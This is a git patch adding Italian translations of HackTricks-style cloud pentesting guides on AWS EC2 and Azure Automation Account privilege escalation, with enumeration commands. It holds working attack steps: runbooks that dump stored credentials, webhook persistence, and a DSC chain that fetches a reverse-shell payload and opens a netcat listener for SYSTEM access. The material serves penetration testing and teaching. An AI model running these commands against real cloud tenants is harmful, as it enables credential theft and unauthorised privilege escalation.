From 9873a4b9cb1398a89a57a28d3c536ee363c61bed Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 10 Jan 2025 12:03:37 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- src/SUMMARY.md | 4 +- .../aws-ec2-privesc.md | 24 +- .../az-automation-accounts-privesc.md | 239 ++++++++++++++++++ .../az-automation-account/README.md | 170 ------------- .../az-state-configuration-rce.md | 57 ----- .../az-services/az-automation-accounts.md | 227 +++++++++++++++++ .../azure-security/az-services/vms/README.md | 36 +-- 7 files changed, 497 insertions(+), 260 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md delete mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md delete mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 42681ba62..c39a9cc91 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -406,8 +406,7 @@ - [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md) - [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md) - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - - [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md) - - [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md) + - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -454,6 +453,7 @@ - [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md) - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) + - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 271d1d7dc..a487c5906 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -44,7 +44,7 @@ Fai attenzione con GuardDuty se utilizzi le credenziali del ruolo IAM al di fuor #### Privesc a ECS -Con questo set di permessi potresti anche **creare un'istanza EC2 e registrarla all'interno di un cluster ECS**. In questo modo, i **servizi** ECS verranno **eseguiti** all'interno dell'**istanza EC2** a cui hai accesso e poi puoi penetrare in quei servizi (contenitori docker) e **rubare i loro ruoli ECS associati**. +Con questo insieme di permessi potresti anche **creare un'istanza EC2 e registrarla all'interno di un cluster ECS**. In questo modo, i **servizi** ECS verranno **eseguiti** all'interno dell'**istanza EC2** a cui hai accesso e poi potrai penetrare in quei servizi (contenitori docker) e **rubare i loro ruoli ECS associati**. ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -82,7 +82,7 @@ aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` Se il **profilo dell'istanza ha un ruolo** e l'attaccante **non può rimuoverlo**, c'è un'altra soluzione. Potrebbe **trovare** un **profilo dell'istanza senza un ruolo** o **crearne uno nuovo** (`iam:CreateInstanceProfile`), **aggiungere** il **ruolo** a quel **profilo dell'istanza** (come discusso in precedenza) e **associare il profilo dell'istanza** compromesso a un'istanza compromessa: -- Se l'istanza **non ha alcun profilo** dell'istanza (`ec2:AssociateIamInstanceProfile`) \* +- Se l'istanza **non ha alcun profilo** dell'istanza (`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` @@ -92,23 +92,21 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins Con queste autorizzazioni è possibile cambiare il profilo dell'istanza associato a un'istanza, quindi se l'attacco ha già accesso a un'istanza, sarà in grado di rubare le credenziali per più ruoli di profilo dell'istanza cambiando quello associato ad essa. -- Se **ha un profilo dell'istanza**, puoi **rimuovere** il profilo dell'istanza (`ec2:DisassociateIamInstanceProfile`) e **associarlo** \* +- Se **ha un profilo dell'istanza**, puoi **rimuovere** il profilo dell'istanza (`ec2:DisassociateIamInstanceProfile`) e **associarlo** ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- o **sostituire** il **profilo dell'istanza** dell'istanza compromessa (`ec2:ReplaceIamInstanceProfileAssociation`). \* -```` +- o **sostituire** il **profilo dell'istanza** dell'istanza compromessa (`ec2:ReplaceIamInstanceProfileAssociation`). ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -```` -**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2 (è necessario aver compromesso un'istanza AWS EC2 e avere alcuni permessi extra o uno stato specifico del profilo dell'istanza). +**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2 (è necessario aver compromesso un'istanza AWS EC2 e avere alcune autorizzazioni extra o uno stato specifico del profilo dell'istanza). ### `ec2:RequestSpotInstances`,`iam:PassRole` -Un attaccante con i permessi **`ec2:RequestSpotInstances`e`iam:PassRole`** può **richiedere** un **Spot Instance** con un **ruolo EC2 allegato** e una **rev shell** nei **dati utente**.\ +Un attaccante con le autorizzazioni **`ec2:RequestSpotInstances`e`iam:PassRole`** può **richiedere** un **Spot Instance** con un **ruolo EC2 allegato** e una **rev shell** nei **dati utente**.\ Una volta che l'istanza è in esecuzione, può **rubare il ruolo IAM**. ```bash REV=$(printf '#!/bin/bash @@ -121,9 +119,9 @@ aws ec2 request-spot-instances \ ``` ### `ec2:ModifyInstanceAttribute` -Un attaccante con **`ec2:ModifyInstanceAttribute`** può modificare gli attributi delle istanze. Tra questi, può **cambiare i dati utente**, il che implica che può far **eseguire dati arbitrari** all'istanza. Questo può essere utilizzato per ottenere una **rev shell all'istanza EC2**. +Un attaccante con il **`ec2:ModifyInstanceAttribute`** può modificare gli attributi delle istanze. Tra questi, può **cambiare i dati utente**, il che implica che può far **eseguire dati arbitrari** all'istanza. Questo può essere utilizzato per ottenere una **rev shell all'istanza EC2**. -Nota che gli attributi possono essere **modificati solo mentre l'istanza è ferma**, quindi le **permissoni** **`ec2:StopInstances`** e **`ec2:StartInstances`**. +Nota che gli attributi possono essere **modificati solo mentre l'istanza è ferma**, quindi le **permissive** **`ec2:StopInstances`** e **`ec2:StartInstances`**. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -178,7 +176,7 @@ aws ec2 modify-launch-template \ --launch-template-name bad_template \ --default-version 2 ``` -**Impatto Potenziale:** Privesc diretto a un ruolo EC2 diverso. +**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2. ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` @@ -198,7 +196,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ --desired-capacity 1 \ --vpc-zone-identifier "subnet-e282f9b8" ``` -**Impatto Potenziale:** Privesc diretto a un ruolo EC2 diverso. +**Impatto Potenziale:** Privesc diretto a un diverso ruolo EC2. ### `!autoscaling` @@ -254,7 +252,7 @@ Nei comandi sopra, anche se stiamo specificando determinati modelli (`aws_|passw Assumendo di trovare `aws_access_key_id` e `aws_secret_access_key`, possiamo utilizzare queste credenziali per autenticarsi su AWS. -**Impatto Potenziale:** Escalation diretta dei privilegi a IAM user(s). +**Impatto Potenziale:** Escalation diretta dei privilegi a utente(i) IAM. ## Riferimenti diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md new file mode 100644 index 000000000..dc7c939aa --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -0,0 +1,239 @@ +# Az - Azure Automation Accounts Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Automation Accounts + +Per ulteriori informazioni controlla: + +{{#ref}} +../az-services/az-automation-accounts.md +{{#endref}} + +### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) + +In sintesi, questi permessi consentono di **creare, modificare ed eseguire Runbook** nell'Automation Account, che potresti utilizzare per **eseguire codice** nel contesto dell'Automation Account e aumentare i privilegi delle **Managed Identities** assegnate e rivelare **credenziali** e **variabili criptate** memorizzate nell'Automation Account. + +Il permesso **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** consente di modificare il codice di un Runbook nell'Automation Account utilizzando: +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ +--resource-group Resource_Group_1 \ +--automation-account-name autoaccount1 \ +--name AzureAutomationTutorialWithIdentity \ +--content '$creds = Get-AutomationPSCredential -Name "" +$runbook_variable = Get-AutomationVariable -Name "" +$runbook_variable +$creds.GetNetworkCredential().username +$creds.GetNetworkCredential().password' +``` +Nota come lo script precedente può essere utilizzato per **leak the useranmd and password** di una credenziale e il valore di una **encrypted variable** memorizzata nell'Automation Account. + +Il permesso **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** consente all'utente di pubblicare un Runbook nell'Automation Account in modo che le modifiche vengano applicate: +```bash +az automation runbook publish \ +--resource-group \ +--automation-account-name \ +--name +``` +Il permesso **`Microsoft.Automation/automationAccounts/jobs/write`** consente all'utente di eseguire un Runbook nell'Automation Account utilizzando: +```bash +az automation runbook start --automation-account-name --resource-group --name +``` +Il permesso **`Microsoft.Automation/automationAccounts/jobs/output/read`** consente all'utente di leggere l'output di un lavoro nell'Automation Account utilizzando: +```bash +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" +``` +Se non ci sono Runbook creati, o se vuoi crearne uno nuovo, avrai bisogno delle **autorizzazioni `Microsoft.Resources/subscriptions/resourcegroups/read` e `Microsoft.Automation/automationAccounts/runbooks/write`** per farlo utilizzando: +```bash +az automation runbook create --automation-account-name --resource-group --name --type PowerShell +``` +### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Questo permesso consente all'utente di **assegnare un'identità gestita dall'utente** all'Automation Account utilizzando: +```bash +az rest --method PATCH \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ +--headers "Content-Type=application/json" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' +``` +### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` + +Con il permesso **`Microsoft.Automation/automationAccounts/schedules/write`** è possibile creare un nuovo Programma nell'Account di Automazione che viene eseguito ogni 15 minuti (non molto furtivo) utilizzando il seguente comando. + +Nota che l'**intervallo minimo per un programma è di 15 minuti**, e che il **tempo di inizio minimo è di 5 minuti** nel futuro. +```bash +## For linux +az automation schedule create \ +--resource-group \ +--automation-account-name \ +--name \ +--description "Triggers runbook every minute" \ +--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \ +--frequency Minute \ +--interval 15 + +## Form macOS +az automation schedule create \ +--resource-group \ +--automation-account-name \ +--name \ +--description "Triggers runbook every 15 minutes" \ +--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \ +--frequency Minute \ +--interval 15 +``` +Poi, con il permesso **`Microsoft.Automation/automationAccounts/jobSchedules/write`** è possibile assegnare un Scheduler a un runbook utilizzando: +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"runOn": "", +"runbook": { +"name": "" +}, +"schedule": { +"name": ">" +}, +"parameters": {} +} +}' +``` +> [!TIP] +> Nell'esempio precedente, l'ID del jobchedule è stato lasciato come **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` come esempio** ma dovrai utilizzare un valore arbitrario per creare questo assegnamento. + +### `Microsoft.Automation/automationAccounts/webhooks/write` + +Con il permesso **`Microsoft.Automation/automationAccounts/webhooks/write`** è possibile creare un nuovo Webhook per un Runbook all'interno di un Automation Account utilizzando il seguente comando. + +Nota che dovrai **indicare l'URI del webhook** con il token da utilizzare. +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ +--body '{ +"name": "", +"properties": { +"isEnabled": true, +"expiryTime": "2026-01-09T20:03:30.291Z", +"parameters": {}, +"runOn": null, +"runbook": { +"name": "" +}, +"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" +} +}' + +# Then, to call the runbook using the webhook +curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ +-H "Content-Length: 0" +``` +### `Microsoft.Automation/automationAccounts/runbooks/draft/write` + +Basta con il permesso `Microsoft.Automation/automationAccounts/runbooks/draft/write` per **aggiornare il codice di un Runbook** senza pubblicarlo e eseguirlo utilizzando i seguenti comandi. +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ +--resource-group Resource_Group_1 \ +--automation-account-name autoaccount1 \ +--name AzureAutomationTutorialWithIdentity \ +--content 'echo "Hello World"' + +# Run the unpublished code +az rest \ +--method PUT \ +--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \ +--headers "Content-Type=application/json" \ +--body '{ +"parameters": {}, +"runOn": "", +"runtimeEnvironment": "PowerShell-5.1" +}' + +# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission) +az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01" +``` +### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) + +Questa autorizzazione consente all'utente di **configurare un controllo di origine** per l'Automation Account utilizzando comandi come i seguenti (questo utilizza Github come esempio): +```bash +az automation source-control create \ +--resource-group \ +--automation-account-name \ +--name RemoteGithub \ +--repo-url https://github.com/carlospolop/gh-runbooks.git \ +--branch main \ +--folder-path /runbooks/ \ +--publish-runbook true \ +--auto-sync \ +--source-type GitHub \ +--token-type PersonalAccessToken \ +--access-token github_pat_11AEDCVZ +``` +Questo importerà automaticamente i runbook dal repository Github all'Automation Account e con alcuni altri permessi per iniziare a eseguirli sarebbe **possibile escalare i privilegi**. + +Inoltre, ricorda che per lavorare con il controllo delle sorgenti negli Automation Accounts deve avere un'identità gestita con il ruolo **`Contributor`** e se è un'identità gestita dall'utente, questa può essere configurata anche impostando nella variabile **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** il **client id** dell'identità gestita dall'utente da utilizzare. + +> [!TIP] +> Nota che non è possibile cambiare l'URL del repo di un controllo sorgente una volta creato. + +### Ambienti di Esecuzione Personalizzati + +Se un account di automazione utilizza un ambiente di esecuzione personalizzato, potrebbe essere possibile sovrascrivere un pacchetto personalizzato dell'ambiente di esecuzione con del codice malevolo (come **una backdoor**). In questo modo, ogni volta che un runbook che utilizza quell'ambiente di esecuzione personalizzato viene eseguito e carica il pacchetto personalizzato, il codice malevolo verrà eseguito. + +### Compromissione della Configurazione di Stato + +**Controlla il post completo in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) + +- Passo 1 — Creare File + +**File Richiesti:** Sono necessari due script PowerShell: +1. `reverse_shell_config.ps1`: Un file di Desired State Configuration (DSC) che recupera ed esegue il payload. È disponibile su [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +2. `push_reverse_shell_config.ps1`: Uno script per pubblicare la configurazione sulla VM, disponibile su [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). + +**Personalizzazione:** Le variabili e i parametri in questi file devono essere adattati all'ambiente specifico dell'utente, inclusi nomi delle risorse, percorsi dei file e identificatori di server/payload. + +- Passo 2 — Zip del File di Configurazione + +Il `reverse_shell_config.ps1` viene compresso in un file `.zip`, rendendolo pronto per il trasferimento all'Azure Storage Account. +```powershell +Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip +``` +- Passo 3 — Imposta il contesto di archiviazione e carica + +Il file di configurazione compresso viene caricato in un contenitore di archiviazione Azure predefinito, azure-pentest, utilizzando il cmdlet Set-AzStorageBlobContent di Azure. +```powershell +Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx +``` +- Passo 4 — Prepara Kali Box + +Il server Kali scarica il payload RevPS.ps1 da un repository GitHub. +```bash +wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 +``` +Lo script viene modificato per specificare la VM Windows target e la porta per la reverse shell. + +- Step 5 — Pubblica il file di configurazione + +Il file di configurazione viene eseguito, risultando nel deployment dello script reverse-shell nella posizione specificata sulla VM Windows. + +- Step 6 — Ospita il payload e imposta il listener + +Viene avviato un Python SimpleHTTPServer per ospitare il payload, insieme a un listener Netcat per catturare le connessioni in arrivo. +```bash +sudo python -m SimpleHTTPServer 80 +sudo nc -nlvp 443 +``` +Il compito pianificato esegue il payload, ottenendo privilegi a livello di SYSTEM. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md deleted file mode 100644 index 772dd11db..000000000 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md +++ /dev/null @@ -1,170 +0,0 @@ -# Az - Automation Account - -{{#include ../../../../banners/hacktricks-training.md}} - -## Informazioni di base - -[Dal documento:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation offre un servizio di automazione basato su cloud, aggiornamenti del sistema operativo e configurazione che supporta una gestione coerente nei tuoi ambienti Azure e non Azure. Include automazione dei processi, gestione della configurazione, gestione degli aggiornamenti, capacità condivise e funzionalità eterogenee. - -Questi sono come "**compiti pianificati**" in Azure che ti permetteranno di eseguire cose (azioni o anche script) per **gestire**, controllare e configurare l'**ambiente Azure**. - -### Account Run As - -Quando si utilizza l'**Account Run As**, viene creata un'**applicazione** Azure AD con certificato autofirmato, viene creato un **principale di servizio** e viene assegnato il ruolo di **Collaboratore** per l'account nella **sottoscrizione attuale** (molti privilegi).\ -Microsoft consiglia di utilizzare un'**Identità Gestita** per l'Account di Automazione. - -> [!WARNING] -> Questo sarà **rimosso il 30 settembre 2023 e sostituito con Identità Gestite.** - -## Runbooks e Lavori - -I **Runbooks** ti consentono di **eseguire codice PowerShell arbitrario**. Questo potrebbe essere **abusato da un attaccante** per rubare i permessi del **principale allegato** (se presente).\ -Nel **codice** dei **Runbooks** potresti anche trovare **informazioni sensibili** (come credenziali). - -Se puoi **leggere** i **lavori**, fallo poiché **contengono** l'**output** dell'esecuzione (potenziali **informazioni sensibili**). - -Vai su `Automation Accounts` --> `` --> `Runbooks/Lavori/Gruppi di lavoratori ibridi/Compiti di osservazione/credenziali/variabili/certificati/connessioni` + +Un **Lavoro è un'istanza di esecuzione di un Runbook**. Quando esegui un Runbook, viene creato un Lavoro per tenere traccia di quell'esecuzione. Ogni lavoro include: + +- **Stato**: In coda, In esecuzione, Completato, Fallito, Sospeso. +- **Output**: Il risultato dell'esecuzione del Runbook. +- **Orario di inizio e fine**: Quando il lavoro è iniziato e completato. + +Un lavoro contiene l'**output** dell'**esecuzione** del **Runbook**. Se puoi **leggere** i **lavori**, fallo poiché **contengono** l'**output** dell'esecuzione (potenziali **informazioni sensibili**). + +### Programmazioni e Webhook + +Ci sono 3 modi principali per eseguire un Runbook: + +- **Programmazioni**: Queste vengono utilizzate per **attivare** i Runbooks a un **orario specifico** o a **intervalli**. +- **Webhook**: Questi sono **endpoint HTTP** che possono essere utilizzati per **attivare** i Runbooks da **servizi esterni**. Nota che l'URL del webhook **non è visibile** dopo la creazione. +- **Attivazione manuale**: Puoi **attivare manualmente** un Runbook dal Portale Azure e dalla CLI. + +### Controllo del codice sorgente + +Consente di importare Runbooks da **Github, Azure Devops (Git) e Azure Devops (TFVC)**. È possibile indicare di pubblicare i Runbooks del repository nell'account di automazione Azure ed è anche possibile indicare di **sincronizzare le modifiche dal repository** all'account di automazione Azure. + +Quando la sincronizzazione è abilitata, nel **repository Github viene creato un webhook** per attivare la sincronizzazione ogni volta che si verifica un evento di push. Esempio di un URL webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` + +Nota che questi webhook **non saranno visibili** quando si elencano i webhook nei runbooks associati al repository Github. Nota anche che **non è possibile cambiare l'URL del repository** di un controllo del codice sorgente una volta creato. + +Affinché il controllo del codice sorgente configurato funzioni, l'**Azure Automation Account** deve avere un'identità gestita (di sistema o utente) con il ruolo di **`Contributor`**. Inoltre, per assegnare un'identità gestita da utente all'Automation Account, è possibile farlo impostando la variabile **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** sull'**ID client dell'identità gestita da utente**. + +### Ambienti di esecuzione + +Quando si crea un Runbook è possibile selezionare l'ambiente di esecuzione. Per impostazione predefinita, sono disponibili i seguenti ambienti di esecuzione: + +- **Powershell 5.1** +- **Powershell 7.1** +- **PowerShell 7.2** +- **Python 3.10** +- **Python 3.8** +- **Python 2.7** + +Tuttavia, è anche possibile **creare i propri ambienti**, utilizzando uno di questi come base. Nel caso di Python, è possibile caricare pacchetti `.whl` nell'ambiente che verrà utilizzato. Nel caso di PowerShell, è possibile caricare pacchetti `.zip` con i moduli da avere nell'esecuzione. + +### Lavoratore Ibrido + +Un Runbook può essere eseguito in un **contenitore all'interno di Azure** o in un **Lavoratore Ibrido** (macchina non Azure).\ +L'**Agente di Log Analytics** è distribuito sulla VM per registrarla come lavoratore ibrido.\ +I lavori del lavoratore ibrido vengono eseguiti come **SYSTEM** su Windows e come account **nxautomation** su Linux.\ +Ogni Lavoratore Ibrido è registrato in un **Gruppo di Lavoratori Ibridi**. + +Pertanto, se puoi scegliere di eseguire un **Runbook** in un **Lavoratore Ibrido Windows**, eseguirai **comandi arbitrari** all'interno di una macchina esterna come **System** (ottima tecnica di pivot). + +### Configurazione dello stato (SC) + +>[!WARNING] +> Come indicato nella [documentazione](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la Configurazione dello Stato di Azure Automation sarà ritirata il 30 settembre 2027 e sostituita da [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview). + +Gli Automation Accounts supportano anche la **Configurazione dello Stato (SC)**, che è una funzionalità che aiuta a **configurare** e **mantenere** lo **stato** delle tue VM. È possibile **creare** e **applicare** configurazioni DSC a macchine **Windows** e **Linux**. + +Dal punto di vista di un attaccante, questo era interessante perché consentiva di **eseguire codice PS arbitrario in tutte le VM configurate**, consentendo di elevare i privilegi alle identità gestite di queste VM, potenzialmente pivotando verso nuove reti... Inoltre, le configurazioni potrebbero contenere **informazioni sensibili**. + +## Enumerazione +```bash +# List Automation Accounts +az automation account list --output table + +# Get Automation Account details +# Check the network access in `privateEndpointConnections` and `publicNetworkAccess` +# Check the managed identities in `identity` +az automation account show --name --resource-group + +# Get keys of automation account +## These are used for the DSC +az automation account list-keys --automation-account-name --resource-group + +# Get schedules of automation account +az automation schedule list --automation-account-name --resource-group + +# Get connections of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//connections?api-version=2023-11-01" + +# Get connection details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//connections/?api-version=2023-11-01" + +# Get credentials of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//credentials?api-version=2023-11-01" + +# Get credential details +## Note that you will only be able to access the password from inside a Runbook +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//credentials/?api-version=2023-11-01" + +# Get certificates of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//certificates?api-version=2023-11-01" + +# Get certificate details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//certificates/?api-version=2023-11-01" + +# Get variables of automation account +## It's possible to get the value of unencrypted variables but not the encrypted ones +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables?api-version=2023-11-01" + +# Get variable details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2023-11-01" + +# Get runbooks of an automation account +az automation runbook list --automation-account-name --resource-group + +# Get runbook details +az automation runbook show --automation-account-name --resource-group --name + +# Get runbook content +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//runbooks//content?api-version=2023-11-01" + +# Get jobs of an automation account +az automation job list --automation-account-name --resource-group + +# Get job details +az automation job show --automation-account-name --resource-group --name + +# Get job output +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" + +# Get the Runbook content when the job was executed +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//runbookContent?api-version=2023-11-01" + +# Get webhooks inside an automation account +## It's possible to see to which runbook it belongs in the given data +## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d +## Generating a webhook can be useful from a persistence perspective +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks?api-version=2018-06-30" + +# Get the source control setting of an automation account (if any) +## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL +aaz automation source-control list --automation-account-name --resource-group + +# Get custom runtime environments +## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli" +az automation runtime-environment list \ +--resource-group > \ +--automation-account-name \ +--query "[?!(starts_with(description, 'System-generated'))]" + +# Get State Configurations (SC) of an automation account +az automation dsc configuration list --automation-account-name --resource-group + +# Get State Configuration details +az automation dsc configuration show --automation-account-name --resource-group --name + +# Get State Configuration content +az automation dsc configuration show-content --automation-account-name --resource-group --name +``` + +```powershell +# Check user right for automation +az extension add --upgrade -n automation +az automation account list # if it doesn't return anything the user is not a part of an Automation group + +# Gets Azure Automation accounts in a resource group +Get-AzAutomationAccount + +# List & get DSC configs +Get-AzAutomationAccount | Get-AzAutomationDscConfiguration +Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match ''} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug +## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting) + +# List & get Run books code +Get-AzAutomationAccount | Get-AzAutomationRunbook +Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook 